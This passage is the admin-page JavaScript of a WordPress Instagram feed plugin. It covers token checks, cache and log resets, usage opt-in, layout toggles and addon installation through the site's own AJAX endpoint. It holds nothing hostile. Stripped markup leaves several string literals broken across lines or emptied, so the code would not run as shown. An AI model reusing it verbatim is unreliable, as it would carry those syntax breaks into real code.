url: sbiA.ajax_url,
type: 'post',
data: {
action: 'sbi_test_token',
access_token: accessToken,
account_id : $('.sbi_manual_account_id_toggle').find('input').val().trim(),
sbi_nonce: sbiA.sbi_nonce
},
success: function (data) {
$('.sbi_connected_accounts_wrap').fadeTo("slow" , 1);
$self.removeAttr('disabled');
if ( data.indexOf('{') > -1) {
var savedToken = JSON.parse(data);
if (typeof savedToken.url !== 'undefined') {
window.location.href = savedToken.url;
} else {
$(this).closest('.sbi_manually_connect_wrap').fadeOut();
$('#sb_manual_at, .sbi_manual_account_id_toggle input').val('');
sbiAfterUpdateToken(savedToken,false);
}
} else {
$('.sbi_manually_connect_wrap').show().prepend(''+data+'
');
}
}
});
}
});
//sbi_reset_resized
// clear resized
var $sbiClearResizedButton = $('#sbi_reset_resized');
$sbiClearResizedButton.click(function(event) {
event.preventDefault();
jQuery('#sbi-clear-cache-success').remove();
jQuery(this).prop("disabled",true);
$.ajax({
url : sbiA.ajax_url,
type : 'post',
data : {
action : 'sbi_reset_resized'
},
success : function(data) {
$sbiClearResizedButton.prop('disabled',false);
if(data=='1') {
$sbiClearResizedButton.after(' ');
} else {
$sbiClearResizedButton.after('error ');
}
}
}); // ajax call
}); // clear_comment_cache click
//Caching options
if( jQuery('#sbi_caching_type_page').is(':checked') ) {
jQuery('.sbi-caching-cron-options').hide();
jQuery('.sbi-caching-page-options').show();
} else {
jQuery('.sbi-caching-page-options').hide();
jQuery('.sbi-caching-cron-options').show();
}
$('input[type=radio][name=sbi_caching_type]').change(function() {
if (this.value == 'page') {
jQuery('.sbi-caching-cron-options').slideUp();
jQuery('.sbi-caching-page-options').slideDown();
}
else if (this.value == 'background') {
jQuery('.sbi-caching-page-options').slideUp();
jQuery('.sbi-caching-cron-options').slideDown();
}
});
//Should we show the caching time settings?
var sbi_cache_cron_interval = jQuery('#sbi_cache_cron_interval').val(),
$sbi_caching_time_settings = jQuery('#sbi-caching-time-settings');
//Should we show anything initially?
if(sbi_cache_cron_interval == '30mins' || sbi_cache_cron_interval == '1hour') $sbi_caching_time_settings.hide();
jQuery('#sbi_cache_cron_interval').change(function(){
sbi_cache_cron_interval = jQuery('#sbi_cache_cron_interval').val();
if(sbi_cache_cron_interval == '30mins' || sbi_cache_cron_interval == '1hour'){
$sbi_caching_time_settings.hide();
} else {
$sbi_caching_time_settings.show();
}
});
sbi_cache_cron_interval = jQuery('#sbi_cache_cron_interval').val();
if(sbi_cache_cron_interval == '30mins' || sbi_cache_cron_interval == '1hour'){
$sbi_caching_time_settings.hide();
} else {
$sbi_caching_time_settings.show();
}
//clear backup caches
jQuery('#sbi_clear_backups').click(function(event) {
jQuery('.sbi-success').remove();
event.preventDefault();
jQuery.ajax({
url: sbiA.ajax_url,
type: 'post',
data: {
action: 'sbi_clear_backups',
access_token: token,
sbi_nonce : sbiA.sbi_nonce,
just_tokens: true
},
success: function (data) {
jQuery('#sbi_clear_backups').after(' ');
}
});
});
//sbi_reset_log
var $sbiClearLog = $('#sbi_reset_log');
$sbiClearLog.click(function(event) {
event.preventDefault();
jQuery('#sbi-clear-cache-success').remove();
jQuery(this).prop("disabled",true);
$.ajax({
url : sbiA.ajax_url,
type : 'post',
data : {
action : 'sbi_reset_log'
},
success : function(data) {
$sbiClearLog.prop('disabled',false);
if(data=='1') {
$sbiClearLog.after(' ');
} else {
$sbiClearLog.after('error ');
}
}
}); // ajax call
}); // clear_comment_cache click
$('.sb-opt-in').click(function(event) {
event.preventDefault();
var $btn = jQuery(this);
$btn.prop( 'disabled', true ).addClass( 'loading' ).html(' ');
sbiSubmitOptIn(true);
}); // clear_comment_cache click
$('.sb-no-usage-opt-out').click(function(event) {
event.preventDefault();
var $btn = jQuery(this);
$btn.prop( 'disabled', true ).addClass( 'loading' ).html(' ');
sbiSubmitOptIn(false);
}); // clear_comment_cache click
function sbiSubmitOptIn(choice) {
$.ajax({
url : sbiA.ajax_url,
type : 'post',
data : {
action : 'sbi_usage_opt_in_or_out',
opted_in: choice,
sbi_nonce : sbiA.sbi_nonce,
},
success : function(data) {
$('.sb-no-usage-opt-out').closest('.sbi-admin-notice').fadeOut();
}
}); // ajax call
}
//Tooltips
jQuery('#sbi_admin').on('click', '.sbi_tooltip_link, .sbi_type_tooltip_link', function(){
if( jQuery(this).hasClass('sbi_type_tooltip_link') ){
jQuery(this).closest('.sbi_row').children('.sbi_tooltip').slideToggle();
} else {
jQuery(this).siblings('.sbi_tooltip').slideToggle();
}
});
//Shortcode labels
jQuery('#sbi_admin label').click(function(){
var $sbi_shortcode = jQuery(this).siblings('.sbi_shortcode');
if($sbi_shortcode.is(':visible')){
jQuery(this).siblings('.sbi_shortcode').css('display','none');
} else {
jQuery(this).siblings('.sbi_shortcode').css('display','block');
}
});
jQuery('#sbi_admin label').hover(function(){
if( jQuery(this).siblings('.sbi_shortcode').length > 0 ){
jQuery(this).attr('title', 'Click for shortcode option').append('[]');
}
}, function(){
jQuery(this).find('.sbi_shortcode_symbol').remove();
});
jQuery('#sbi_admin .sbi_lock').hover(function(){
jQuery(this).siblings('.sbi_pro_tooltip').show();
}, function(){
jQuery('.sbi_pro_tooltip').hide();
});
//Add the color picker
if( jQuery('.sbi_colorpick').length > 0 ) jQuery('.sbi_colorpick').wpColorPicker();
//Check User ID is numeric
jQuery("#sb_instagram_user_id").change(function() {
var sbi_user_id = jQuery('#sb_instagram_user_id').val(),
$sbi_user_id_error = $(this).closest('td').find('.sbi_user_id_error'),
$sbi_other_user_error = $(this).closest('td').find('.sbi_other_user_error');
if (sbi_user_id.match(/[^0-9, _.-]/)) {
$sbi_user_id_error.fadeIn();
} else {
$sbi_user_id_error.fadeOut();
}
//Check whether an ID from another account is being used
sbi_check_other_user_id(sbi_user_id, $sbi_other_user_error);
});
function sbi_check_other_user_id(sbi_user_id, $sbi_other_user_error){
if (jQuery('#sb_instagram_at').length && jQuery('#sb_instagram_at').val() !== '' && sbi_user_id.length) {
if(jQuery('#sb_instagram_at').val().indexOf(sbi_user_id) == -1 ){
$sbi_other_user_error.fadeIn();
} else {
$sbi_other_user_error.fadeOut();
}
}
}
//Check initially when settings load
sbi_check_other_user_id( jQuery('#sb_instagram_user_id').val(), $('td').find('.sbi_other_user_error') );
//Mobile width
var sb_instagram_feed_width = jQuery('#sbi_admin #sb_instagram_width').val(),
sb_instagram_width_unit = jQuery('#sbi_admin #sb_instagram_width_unit').val(),
$sb_instagram_width_options = jQuery('#sbi_admin #sb_instagram_width_options');
if (typeof sb_instagram_feed_width !== 'undefined') {
//Show initially if a width is set
if( (sb_instagram_feed_width.length > 1 && sb_instagram_width_unit == 'px') || (sb_instagram_feed_width !== '100' && sb_instagram_width_unit == '%') ) $sb_instagram_width_options.show();
jQuery('#sbi_admin #sb_instagram_width, #sbi_admin #sb_instagram_width_unit').change(function(){
sb_instagram_feed_width = jQuery('#sbi_admin #sb_instagram_width').val();
sb_instagram_width_unit = jQuery('#sbi_admin #sb_instagram_width_unit').val();
if( sb_instagram_feed_width.length < 2 || (sb_instagram_feed_width == '100' && sb_instagram_width_unit == '%') ) {
$sb_instagram_width_options.slideUp();
} else {
$sb_instagram_width_options.slideDown();
}
});
}
//Scroll to hash for quick links
jQuery('#sbi_admin a').click(function() {
if (location.pathname.replace(/^\//,'') == this.pathname.replace(/^\//,'') && location.hostname == this.hostname) {
var target = jQuery(this.hash);
target = target.length ? target : this.hash.slice(1);
if (target.length) {
jQuery('html,body').animate({
scrollTop: target.offset().top
}, 500);
return false;
}
}
});
//Support tab show video
jQuery('#sbi-play-support-video').on('click', function(e){
e.preventDefault();
jQuery('#sbi-support-video').show().attr('src', jQuery('#sbi-support-video').attr('src')+'&autoplay=1' );
});
jQuery('#sbi_admin .sbi-show-pro').on('click', function(){
jQuery(this).parent().next('.sbi-pro-options').toggle();
});
/* Pro 3.0 JS */
function sbiUpdateLayoutTypeOptionsDisplay() {
setTimeout(function(){
jQuery('.sb_instagram_layout_settings').hide();
jQuery('.sb_instagram_layout_settings.sbi_layout_type_'+jQuery('.sb_layout_type:checked').val()).show();
}, 1);
}
jQuery('.sb_layout_type').change(sbiUpdateLayoutTypeOptionsDisplay);
jQuery('.sbi_close_options').on('click', function(){
jQuery('.sb_instagram_layout_settings').hide();
});
function sbiUpdateHighlightOptionsDisplay() {
jQuery('.sb_instagram_highlight_sub_options').hide();
var selected = jQuery('#sb_instagram_highlight_type').val();
if (selected === 'pattern') {
jQuery('.sb_instagram_highlight_pattern').show();
} else if (selected === 'id') {
jQuery('.sb_instagram_highlight_ids').show();
} else {
jQuery('.sb_instagram_highlight_hashtag').show();
}
}
sbiUpdateHighlightOptionsDisplay();
jQuery('#sb_instagram_highlight_type').change(sbiUpdateHighlightOptionsDisplay);
//sb_instagram_enable_email_report
function sbiToggleEmail() {
if (jQuery('#sb_instagram_enable_email_report').is(':checked')) {
jQuery('#sb_instagram_enable_email_report').closest('td').find('.sb_instagram_box').slideDown();
} else {
jQuery('#sb_instagram_enable_email_report').closest('td').find('.sb_instagram_box').slideUp();
}
}sbiToggleEmail();
jQuery('#sb_instagram_enable_email_report').change(sbiToggleEmail);
if (jQuery('#sbi-goto').length) {
jQuery('#sbi-goto').closest('tr').addClass('sbi-goto');
$('html, body').animate({
scrollTop: $('#sbi-goto').offset().top - 200
}, 500);
}
//Open/close the expandable option sections
jQuery('.sbi-expandable-options').hide();
jQuery('.sbi-expand-button a').on('click', function(e){
e.preventDefault();
var $self = jQuery(this);
$self.parent().next('.sbi-expandable-options').toggle();
if( $self.text().indexOf('Show') !== -1 ){
$self.text( $self.text().replace('Show', 'Hide') );
} else {
$self.text( $self.text().replace('Hide', 'Show') );
}
});
//Selecting a post layout
jQuery('.sbi_layout_cell').click(function(){
var $self = jQuery(this);
$('.sb_layout_type').trigger('change');
$self.addClass('sbi_layout_selected').find('.sb_layout_type').attr('checked', 'checked');
$self.siblings().removeClass('sbi_layout_selected');
});
setTimeout( function() {
jQuery('.notice-dismiss').click(function() {
if (jQuery(this).closest('.sbi-admin-notice').length) {
if (jQuery(this).closest('.sbi-admin-notice').find('.sbi-admin-error').length) {
var exemptErrorType = jQuery(this).closest('.sbi-admin-notice').find('.sbi-admin-error').attr('data-sbi-type');
if (exemptErrorType === 'ajax') {
jQuery.ajax({
url: sbiA.ajax_url,
type: 'post',
data: {
action : 'sbi_on_ajax_test_trigger',
sbi_nonce: sbiA.sbi_nonce
},
success: function (data) {
}
});
}
}
}
});
},1500);
//Load the admin share widgets
jQuery('#sbi_admin_show_share_links').on('click', function(){
jQuery(this).fadeOut();
if( jQuery('#sbi_admin_share_links iframe').length == 0 ) jQuery('#sbi_admin_share_links').html('
');
setTimeout(function(){
jQuery('#sbi_admin_share_links').addClass('sbi_show');
}, 500);
});
// notices
if (jQuery('#sbi-notice-bar').length) {
jQuery('#wpadminbar').after(jQuery('#sbi-notice-bar'));
jQuery('#wpcontent').css('padding-left', 0);
jQuery('#wpbody').css('padding-left', '20px');
jQuery('#sbi-notice-bar').show();
}
jQuery('#sbi-notice-bar .dismiss').click(function(e) {
e.preventDefault();
jQuery('#sbi-notice-bar').remove();
jQuery.ajax({
url: sbiA.ajax_url,
type: 'post',
data: {
action : 'sbi_lite_dismiss',
sbi_nonce: sbiA.sbi_nonce
},
success: function (data) {
}
});
});
/* removing padding */
if (jQuery('#sbi-admin-about').length) {
jQuery('#wpcontent').css('padding', 0);
}
/* Clear errors visit page */
jQuery('.sbi-error-directions a').addClass('button button-primary');
jQuery('.sbi-error-directions.sbi-reconnect a').click(function(){
event.preventDefault();
jQuery('.sbi_admin_btn').trigger('click');
});
jQuery('.sbi-clear-errors-visit-page').appendTo('.sbi-error-directions');
jQuery('.sbi-clear-errors-visit-page').click(function(event) {
event.preventDefault();
var $btn = jQuery(this);
$btn.prop( 'disabled', true ).addClass( 'loading' ).html(' ');
$.ajax({
url : sbiA.ajax_url,
type : 'post',
data : {
action : 'sbi_reset_log'
},
success : function(data) {
window.location.href = $btn.attr('href');
},
error : function(data) {
window.location.href = $btn.attr('href');
}
}); // ajax call
})
});
/* global smash_admin, jconfirm, wpCookies, Choices, List */
(function($) {
'use strict';
// Global settings access.
var s;
// Admin object.
var SmashAdmin = {
// Settings.
settings: {
iconActivate: ' ',
iconDeactivate: ' ',
iconInstall: ' ',
iconSpinner: ' ',
mediaFrame: false
},
/**
* Start the engine.
*
* @since 1.3.9
*/
init: function() {
// Settings shortcut.
s = this.settings;
// Document ready.
$( document ).ready( SmashAdmin.ready );
// Addons List.
SmashAdmin.initAddons();
},
/**
* Document ready.
*
* @since 1.3.9
*/
ready: function() {
// Action available for each binding.
$( document ).trigger( 'smashReady' );
},
//--------------------------------------------------------------------//
// Addons List.
//--------------------------------------------------------------------//
/**
* Element bindings for Addons List page.
*
* @since 1.3.9
*/
initAddons: function() {
// Some actions have to be delayed to document.ready.
$( document ).on( 'smashReady', function() {
// Only run on the addons page.
if ( ! $( '#sbi-admin-addons' ).length ) {
return;
}
// Display all addon boxes as the same height.
$( '.addon-item .details' ).matchHeight( { byrow: false, property: 'height' } );
// Addons searching.
if ( $('#sbi-admin-addons-list').length ) {
var addonSearch = new List( 'sbi-admin-addons-list', {
valueNames: [ 'addon-name' ]
} );
$( '#sbi-admin-addons-search' ).on( 'keyup', function () {
var searchTerm = $( this ).val(),
$heading = $( '#addons-heading' );
if ( searchTerm ) {
$heading.text( sbi_admin.addon_search );
}
else {
$heading.text( $heading.data( 'text' ) );
}
addonSearch.search( searchTerm );
} );
}
});
// Toggle an addon state.
$( document ).on( 'click', '#sbi-admin-addons .addon-item button', function( event ) {
event.preventDefault();
if ( $( this ).hasClass( 'disabled' ) ) {
return false;
}
SmashAdmin.addonToggle( $( this ) );
});
},
/**
* Toggle addon state.
*
* @since 1.3.9
*/
addonToggle: function( $btn ) {
var $addon = $btn.closest( '.addon-item' ),
plugin = $btn.attr( 'data-plugin' ),
plugin_type = $btn.attr( 'data-type' ),
action,
cssClass,
statusText,
buttonText,
errorText,
successText;
if ( $btn.hasClass( 'status-go-to-url' ) ) {
// Open url in new tab.
window.open( $btn.attr('data-plugin'), '_blank' );
return;
}
$btn.prop( 'disabled', true ).addClass( 'loading' );
$btn.html( s.iconSpinner );
if ( $btn.hasClass( 'status-active' ) ) {
// Deactivate.
action = 'sbi_deactivate_addon';
cssClass = 'status-inactive';
if ( plugin_type === 'plugin' ) {
cssClass += ' button button-secondary';
}
statusText = sbi_admin.addon_inactive;
buttonText = sbi_admin.addon_activate;
if ( plugin_type === 'addon' ) {
buttonText = s.iconActivate + buttonText;
}
errorText = s.iconDeactivate + sbi_admin.addon_deactivate;
} else if ( $btn.hasClass( 'status-inactive' ) ) {
// Activate.
action = 'sbi_activate_addon';
cssClass = 'status-active';
if ( plugin_type === 'plugin' ) {
cssClass += ' button button-secondary disabled';
}
statusText = sbi_admin.addon_active;
buttonText = sbi_admin.addon_deactivate;
if ( plugin_type === 'addon' ) {
buttonText = s.iconDeactivate + buttonText;
} else if ( plugin_type === 'plugin' ) {
buttonText = sbi_admin.addon_activated;
}
errorText = s.iconActivate + sbi_admin.addon_activate;
} else if ( $btn.hasClass( 'status-download' ) ) {
// Install & Activate.
action = 'sbi_install_addon';
cssClass = 'status-active';
if ( plugin_type === 'plugin' ) {
cssClass += ' button disabled';
}
statusText = sbi_admin.addon_active;
buttonText = sbi_admin.addon_activated;
if ( plugin_type === 'addon' ) {
buttonText = s.iconActivate + sbi_admin.addon_deactivate;
}
errorText = s.iconInstall + sbi_admin.addon_activate;
} else {
return;
}
var data = {
action: action,
nonce : sbi_admin.nonce,
plugin: plugin,
type : plugin_type
};
$.post( sbi_admin.ajax_url, data, function( res ) {
if ( res.success ) {
if ( 'sbi_install_addon' === action ) {
$btn.attr( 'data-plugin', res.data.basename );
successText = res.data.msg;
if ( ! res.data.is_activated ) {
cssClass = 'status-inactive';
if ( plugin_type === 'plugin' ) {
cssClass = 'button';
}
statusText = sbi_admin.addon_inactive;
buttonText = s.iconActivate + sbi_admin.addon_activate;
}
} else {
successText = res.data;
}
$addon.find( '.actions' ).append( ''+successText+'
' );
$addon.find( 'span.status-label' )
.removeClass( 'status-active status-inactive status-download' )
.addClass( cssClass )
.removeClass( 'button button-primary button-secondary disabled' )
.text( statusText );
$btn
.removeClass( 'status-active status-inactive status-download' )
.removeClass( 'button button-primary button-secondary disabled' )
.addClass( cssClass ).html( buttonText );
} else {
if ( 'download_failed' === res.data[0].code ) {
if ( plugin_type === 'addon' ) {
$addon.find( '.actions' ).append( ''+sbi_admin.addon_error+'
' );
} else {
$addon.find( '.actions' ).append( ''+sbi_admin.plugin_error+'
' );
}
} else {
$addon.find( '.actions' ).append( ''+res.data+'
' );
}
$btn.html( errorText );
}
$btn.prop( 'disabled', false ).removeClass( 'loading' );
// Automatically clear addon messages after 3 seconds.
setTimeout( function() {
$( '.addon-item .msg' ).remove();
}, 3000 );
}).fail( function( xhr ) {
console.log( xhr.responseText );
});
},
};
SmashAdmin.init();
window.SmashAdmin = SmashAdmin;
})( jQuery );